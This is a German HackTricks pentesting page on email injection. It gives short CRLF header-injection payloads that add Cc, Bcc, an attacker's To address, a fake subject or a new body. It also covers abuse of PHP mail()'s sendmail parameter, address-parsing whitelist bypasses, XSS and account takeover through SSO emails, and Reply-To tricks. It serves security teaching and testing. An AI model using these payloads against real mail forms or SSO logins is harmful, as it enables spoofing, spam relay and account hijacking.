hacktricks/pentesting-web/email-injections.md

10 KiB

E-Mail-Injektionen


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Injizieren in gesendete E-Mail

Cc und Bcc nach dem Absenderargument einfügen

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Die Nachricht wird an die Empfänger- und Empfänger1-Konten gesendet.

Argument einschleusen

From:sender@domain.com%0ATo:attacker@domain.com

Die Nachricht wird an den ursprünglichen Empfänger und das Konto des Angreifers gesendet.

Injizieren Sie das Betreffsargument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Ändern des Nachrichtentextes

Fügen Sie einen Zeilenumbruch ein und schreiben Sie Ihre Nachricht, um den Nachrichtentext zu ändern.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Ausnutzung der PHP mail() Funktion

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Der 5. Parameter ($additional_parameters)

Dieser Abschnitt basiert darauf, wie man diesen Parameter missbrauchen kann, wenn ein Angreifer ihn kontrolliert.

Dieser Parameter wird der Befehlszeile hinzugefügt, die PHP verwenden wird, um das Binärprogramm sendmail aufzurufen. Er wird jedoch mit der Funktion escapeshellcmd($additional_parameters) bereinigt.

Ein Angreifer kann in diesem Fall zusätzliche Parameter für sendmail einschleusen.

Unterschiede in der Implementierung von /usr/sbin/sendmail

Die sendmail-Schnittstelle wird von der MTA-E-Mail-Software (Sendmail, Postfix, Exim usw.) bereitgestellt, die auf dem System installiert ist. Obwohl die grundlegende Funktionalität (wie -t -i -f Parameter) aus Kompatibilitätsgründen gleich bleibt, variieren andere Funktionen und Parameter je nach installierter MTA erheblich.

Hier sind einige Beispiele für verschiedene Handbuchseiten des sendmail-Befehls/Interfaces:

Je nach Herkunft des sendmail-Binärprogramms wurden verschiedene Optionen entdeckt, um sie zu missbrauchen und Dateien auszulesen oder sogar beliebige Befehle auszuführen. Überprüfen Sie, wie dies unter https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html erfolgen kann.

Einschleusen in den E-Mail-Namen

Ignorierte Teile einer E-Mail

Die Symbole: +, - und {} können in seltenen Fällen für Markierungen verwendet und von den meisten E-Mail-Servern ignoriert werden

Kommentare zwischen Klammern () am Anfang oder am Ende werden ebenfalls ignoriert

Umgehung der Whitelist

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Anführungszeichen

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IPs

Sie können auch IPs als Domainnamen zwischen eckigen Klammern verwenden:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Andere Schwachstellen

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Drittanbieter-SSO

XSS

Einige Dienste wie github oder salesforce erlauben es Ihnen, eine E-Mail-Adresse mit XSS-Payloads zu erstellen. Wenn Sie diese Anbieter verwenden können, um sich bei anderen Diensten anzumelden und diese Dienste die E-Mail nicht korrekt säubern, könnten Sie XSS verursachen.

Account-Übernahme

Wenn ein SSO-Dienst es Ihnen erlaubt, ein Konto ohne Überprüfung der angegebenen E-Mail-Adresse zu erstellen (wie salesforce) und Sie dann dieses Konto verwenden können, um sich bei einem anderen Dienst anzumelden, der salesforce vertraut, könnten Sie auf jedes Konto zugreifen.
Beachten Sie, dass salesforce angibt, ob die angegebene E-Mail verifiziert wurde oder nicht, sodass die Anwendung diese Information berücksichtigen sollte.

Antwort an

Sie können eine E-Mail senden mit Von: unternehmen.com und Antworten an: angreifer.com und wenn eine automatische Antwort gesendet wird, weil die E-Mail von einer internen Adresse gesendet wurde, könnte der Angreifer in der Lage sein, diese Antwort zu erhalten.

Harter Bounce-Rate

Bestimmte Dienste wie AWS implementieren eine Schwelle, die als Harte Bounce-Rate bekannt ist, die in der Regel auf 10% festgelegt ist. Dies ist eine wichtige Metrik, insbesondere für E-Mail-Zustelldienste. Wenn diese Rate überschritten wird, kann der Dienst, wie z. B. der E-Mail-Dienst von AWS, gesperrt oder blockiert werden.

Ein harter Bounce bezieht sich auf eine E-Mail, die an den Absender zurückgeschickt wurde, weil die E-Mail-Adresse des Empfängers ungültig oder nicht vorhanden ist. Dies kann aus verschiedenen Gründen geschehen, z. B. wenn die E-Mail an eine nicht existierende Adresse gesendet wurde, an eine nicht real existierende Domain oder wenn der Server des Empfängers sich weigert, E-Mails zu akzeptieren.

Im Kontext von AWS bedeutet dies, dass wenn Sie 1000 E-Mails senden und 100 davon zu harten Bounces führen (aufgrund von Gründen wie ungültigen Adressen oder Domains), dies eine harte Bounce-Rate von 10% bedeuten würde. Das Erreichen oder Überschreiten dieser Rate kann dazu führen, dass AWS SES (Simple Email Service) Ihre E-Mail-Sendeoptionen blockiert oder aussetzt.

Es ist entscheidend, eine niedrige harte Bounce-Rate aufrechtzuerhalten, um einen unterbrechungsfreien E-Mail-Dienst sicherzustellen und den Absender-Ruf zu wahren. Das Überwachen und Verwalten der Qualität der E-Mail-Adressen in Ihren Mailinglisten kann erheblich dazu beitragen, dieses Ziel zu erreichen.

Für weitere ausführliche Informationen kann die offizielle Dokumentation von AWS zur Behandlung von Bounces und Beschwerden unter AWS SES Bounce Handling konsultiert werden.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}